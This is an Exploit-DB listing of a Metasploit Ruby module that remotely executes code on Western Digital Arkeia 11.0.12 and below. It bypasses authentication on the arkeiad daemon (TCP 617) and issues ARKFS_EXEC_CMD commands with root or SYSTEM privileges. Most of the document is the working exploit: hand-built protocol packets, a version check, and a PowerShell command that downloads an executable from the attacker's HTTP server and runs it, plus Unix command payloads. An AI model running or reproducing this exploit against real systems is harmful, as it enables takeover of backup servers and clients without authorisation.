Western Digital Arkeia < 11.0.12 - Remote Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2015-07-13
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/37600/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking
    
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::EXE
    include Msf::Exploit::FileDropper
    
    def initialize(info = {})
    super(update_info(info,
    'Name'=> 'Western Digital Arkeia Remote Code Execution',
    'Description' => %q{
    This module exploits a code execution flaw in Western Digital Arkeia version 11.0.12 and below.
    The vulnerability exists in the 'arkeiad' daemon listening on TCP port 617. Because there are
    insufficient checks on the authentication of all clients, this can be bypassed.
    Using the ARKFS_EXEC_CMD operation it's possible to execute arbitrary commands with root or
    SYSTEM privileges.
    The daemon is installed on both the Arkeia server as well on all the backup clients. The module
    has been successfully tested on Windows, Linux, OSX, FreeBSD and OpenBSD.
    },
    'Author' =>
    [
    'xistence <xistence[at]0x90.nl>' # Vulnerability discovery and Metasploit module
    ],
    'License' => MSF_LICENSE,
    'References'=>
    [
    ],
    'Privileged'=> true,
    'Stance'=> Msf::Exploit::Stance::Aggressive,
    'Payload' =>
    {
    'DisableNops' => true
    },
    'Targets' =>
    [
    [ 'Windows',
    {
    'Arch' => ARCH_X86,
    'Platform' => 'win',
    }
    ],
    [ 'Linux',
    {
    'Arch' => ARCH_CMD,
    'Platform' => 'unix',
    'Payload' =>
    {
    'DisableNops' => true,
    'Space' => 60000,
    'Compat'=> {
    'PayloadType' => 'cmd cmd_bash',
    'RequiredCmd' => 'perl python bash-tcp gawk openssl'
    }
    }
    }
    ]
    ],
    'DefaultTarget'=> 0,
    'DisclosureDate' => 'Jul 10 2015'))
    
    register_options(
    [
    Opt::RPORT(617),
    OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15])
    ], self.class)
    end
    
    def check
    connect
    
    req = "\x00\x41"
    req << "\x00" * 5
    req << "\x73"
    req << "\x00" * 12
    req << "\xc0\xa8\x02\x74"
    req << "\x00" * 56
    req << "\x74\x02\xa8\xc0"
    req << 'ARKADMIN'
    req << "\x00"
    req << 'root'
    req << "\x00"
    req << 'root'
    req << "\x00" * 3
    req << '4.3.0-1' # version?
    req << "\x00" * 11
    
    sock.put(req)
    
    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
    disconnect
    return Exploit::CheckCode::Unknown
    end
    
    data_length = sock.get_once(2)
    
    unless data_length && data_length.length == 2
    disconnect
    return Exploit::CheckCode::Unknown
    end
    
    data_length = data_length.unpack('n')[0]
    
    data = sock.get_once(data_length)
    unless data && data.length == data_length
    disconnect
    return Exploit::CheckCode::Unknown
    end
    
    req = "\x00\x73"
    req << "\x00" * 5
    req << "\x0c\x32"
    req << "\x00" * 11
    
    sock.put(req)
    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
    disconnect
    return Exploit::CheckCode::Unknown
    end
    
    data_length = sock.get_once(2)
    
    unless data_length && data_length.length == 2
    disconnect
    return Exploit::CheckCode::Unknown
    end
    
    data_length = data_length.unpack('n')[0]
    
    data = sock.get_once(data_length)
    unless data && data.length == data_length
    disconnect
    return Exploit::CheckCode::Unknown
    end
    
    req = "\x00\x61\x00\x04\x00\x01\x00\x11\x00\x00\x31\x00"
    req << 'EN' # Language
    req << "\x00" * 11
    
    sock.put(req)
    header = sock.get_once(6)
    
    unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
    disconnect
    return Exploit::CheckCode::Unknown
    end
    
    data_length = sock.get_once(2)
    
    unless data_length && data_length.length == 2
    disconnect
    return Exploit::CheckCode::Unknown
    end
    
    data_length = data_length.unpack('n')[0]
    
    unless data_length == 0
    disconnect
    return Exploit::CheckCode::Unknown
    end
    
    # ARKADMIN_GET_CLIENT_INFO
    req = "\x00\x62\x00\x01"
    req << "\x00" * 3
    req << "\x26"
    req << 'ARKADMIN_GET_CLIENT_INFO' # Function to request agent information
    req << "\x00\x32\x38"
    req << "\x00" * 11
    
    sock.put(req)
    
    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
    disconnect
    return Exploit::CheckCode::Unknown
    end
    
    data_length = sock.get_once(2)
    
    unless data_length && data_length.length == 2
    disconnect
    return Exploit::CheckCode::Unknown
    end
    
    data_length = data_length.unpack('n')[0]
    unless data_length == 0
    disconnect
    return Exploit::CheckCode::Unknown
    end
    
    req = "\x00\x63\x00\x04\x00\x00\x00\x12\x30\x00\x31\x00\x32\x38"
    req << "\x00" * 12
    
    sock.put(req)
    
    # 1st packet
    
    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04"
    disconnect
    return Exploit::CheckCode::Unknown
    end
    
    data_length = sock.get_once(2)
    
    unless data_length && data_length.length == 2
    disconnect
    return Exploit::CheckCode::Unknown
    end
    
    data_length = data_length.unpack('n')[0]
    
    data = sock.get_once(data_length)
    unless data && data.length == data_length
    disconnect
    return Exploit::CheckCode::Unknown
    end
    
    # 2nd packet
    
    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"
    disconnect
    return Exploit::CheckCode::Unknown
    end
    
    data_length = sock.get_once(2)
    
    unless data_length && data_length.length == 2
    disconnect
    return Exploit::CheckCode::Unknown
    end
    
    data_length = data_length.unpack('n')[0]
    
    data = sock.get_once(data_length)
    unless data && data.length == data_length
    disconnect
    return Exploit::CheckCode::Unknown
    end
    
    # 3rd packet
    
    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x65\x00\x04"
    disconnect
    return Exploit::CheckCode::Unknown
    end
    
    data_length = sock.get_once(2)
    
    unless data_length && data_length.length == 2
    disconnect
    return Exploit::CheckCode::Unknown
    end
    
    data_length = data_length.unpack('n')[0]
    
    data = sock.get_once(data_length)
    unless data && data.length == data_length && data.include?('You have successfully retrieved client information')
    disconnect
    return Exploit::CheckCode::Unknown
    end
    
    # 4th packet
    
    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x69\x00\x04"
    disconnect
    return Exploit::CheckCode::Unknown
    end
    
    data_length = sock.get_once(2)
    
    unless data_length && data_length.length == 2
    disconnect
    return Exploit::CheckCode::Unknown
    end
    
    data_length = data_length.unpack('n')[0]
    
    data = sock.get_once(data_length)
    unless data && data.length == data_length
    disconnect
    return Exploit::CheckCode::Unknown
    end
    
    if data =~ /VERSION.*WD Arkeia ([0-9]+\.[0-9]+\.[0-9]+)/
    version = $1
    vprint_status("#{rhost}:#{rport} - Arkeia version detected: #{version}")
    if Gem::Version.new(version) <= Gem::Version.new('11.0.12')
    return Exploit::CheckCode::Appears
    else
    return Exploit::CheckCode::Safe
    end
    else
    vprint_status("#{rhost}:#{rport} - Arkeia version not detected")
    return Exploit::CheckCode::Unknown
    end
    end
    
    def exploit
    if target.name =~ /Windows/
    
    @down_file = rand_text_alpha(8+rand(8))
    @pl = generate_payload_exe
    
    begin
    Timeout.timeout(datastore['HTTP_DELAY']) {super}
    rescue Timeout::Error
    end
    elsif target.name =~ /Linux/
    communicate(payload.encoded)
    return
    end
    end
    
    def primer
    @payload_url = get_uri
    
    # PowerShell web download. The char replacement is needed because using the "/" character twice (like http://)
    # is not possible on Windows agents.
    command = "PowerShell -Command \"$s=[CHAR][BYTE]47;$b=\\\"#{@payload_url.gsub(/\//, '$($s)')}\\\";"
    command << "(New-Object System.Net.WebClient).DownloadFile($b,'c:/#{@down_file}.exe');"
    command << "(New-Object -com Shell.Application).ShellExecute('c:/#{@down_file}.exe');\""
    
    communicate(command)
    end
    
    def communicate(command)
    print_status("#{rhost}:#{rport} - Connecting to Arkeia daemon")
    
    connect
    
    print_status("#{rhost}:#{rport} - Sending agent communication")
    
    req = "\x00\x41\x00\x00\x00\x00\x00\x70"
    req << "\x00" * 12
    req << "\xc0\xa8\x02\x8a"
    req << "\x00" * 56
    req << "\x8a\x02\xa8\xc0"
    req << 'ARKFS'
    req << "\x00"
    req << 'root'
    req << "\x00"
    req << 'root'
    req << "\x00" * 3
    req << '4.3.0-1' # Client version ?
    req << "\x00" * 11
    
    sock.put(req)
    
    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
    disconnect
    fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end
    
    data_length = sock.get_once(2)
    
    unless data_length && data_length.length == 2
    disconnect
    fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end
    
    data_length = data_length.unpack('n')[0]
    
    data = sock.get_once(data_length)
    unless data && data.length == data_length
    disconnect
    fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
    end
    
    req = "\x00\x73\x00\x00\x00\x00\x00\x0c\x32"
    req << "\x00" * 11
    
    sock.put(req)
    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
    disconnect
    fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end
    
    data_length = sock.get_once(2)
    
    unless data_length && data_length.length == 2
    disconnect
    fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end
    
    data_length = data_length.unpack('n')[0]
    
    data = sock.get_once(data_length)
    unless data && data.length == data_length
    disconnect
    fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
    end
    
    req = "\x00\x61\x00\x04\x00\x01\x00\x1a\x00\x00"
    req << rand_text_numeric(10) # "1234567890" - 10 byte numerical value, like a session ID?
    req << "\x00"
    req << 'EN' # English language?
    req << "\x00" * 11
    
    sock.put(req)
    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
    disconnect
    fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end
    
    data_length = sock.get_once(2)
    
    unless data_length && data_length.length == 2
    disconnect
    fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end
    
    data_length = data_length.unpack('n')[0]
    
    unless data_length == 0
    disconnect
    fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read")
    end
    
    req = "\x00\x62\x00\x01\x00\x02\x00\x1b"
    req << 'ARKFS_EXEC_CMD' # With this function we can execute system commands with root/SYSTEM privileges
    req << "\x00\x31"
    req << "\x00" * 11
    
    sock.put(req)
    
    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
    disconnect
    fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end
    
    data_length = sock.get_once(2)
    
    unless data_length && data_length.length == 2
    disconnect
    fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end
    
    data_length = data_length.unpack('n')[0]
    
    unless data_length == 0
    disconnect
    fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read")
    end
    
    req = "\x00\x63\x00\x04\x00\x03\x00\x15\x31\x00\x31\x00\x31\x00\x30\x3a\x31\x2c"
    req << "\x00" * 11
    
    sock.put(req)
    
    command_length = '%02x' % command.length
    command_length = command_length.scan(/../).map { |x| x.hex.chr }.join
    
    req = "\x00\x64\x00\x04\x00\x04"
    req << [command.length].pack('n')
    req << command # Our command to be executed
    req << "\x00"
    
    print_status("#{rhost}:#{rport} - Executing payload through ARKFS_EXEC_CMD")
    
    sock.put(req)
    
    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04"
    disconnect
    fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end
    
    data_length = sock.get_once(2)
    
    unless data_length && data_length.length == 2
    disconnect
    fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end
    
    data_length = data_length.unpack('n')[0]
    
    data = sock.get_once(data_length)
    unless data && data.length == data_length
    disconnect
    fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
    end
    
    # 1st Packet
    
    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"
    disconnect
    fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end
    
    data_length = sock.get_once(2)
    
    unless data_length && data_length.length == 2
    disconnect
    fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end
    
    data_length = data_length.unpack('n')[0]
    
    data = sock.get_once(data_length)
    unless data && data.length == data_length
    disconnect
    fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
    end
    
    # 2st Packet
    
    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"
    disconnect
    fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end
    
    data_length = sock.get_once(2)
    
    unless data_length && data_length.length == 2
    disconnect
    fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end
    
    data_length = data_length.unpack('n')[0]
    
    data = sock.get_once(data_length)
    unless data && data.length == data_length
    disconnect
    fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
    end
    end
    
    def on_request_uri(cli, request)
    print_status("Request: #{request.uri}")
    if request.uri == get_resource
    print_status('Sending payload...')
    send_response(cli, @pl)
    register_files_for_cleanup("c:\\#{@down_file}.exe")
    end
    end
    end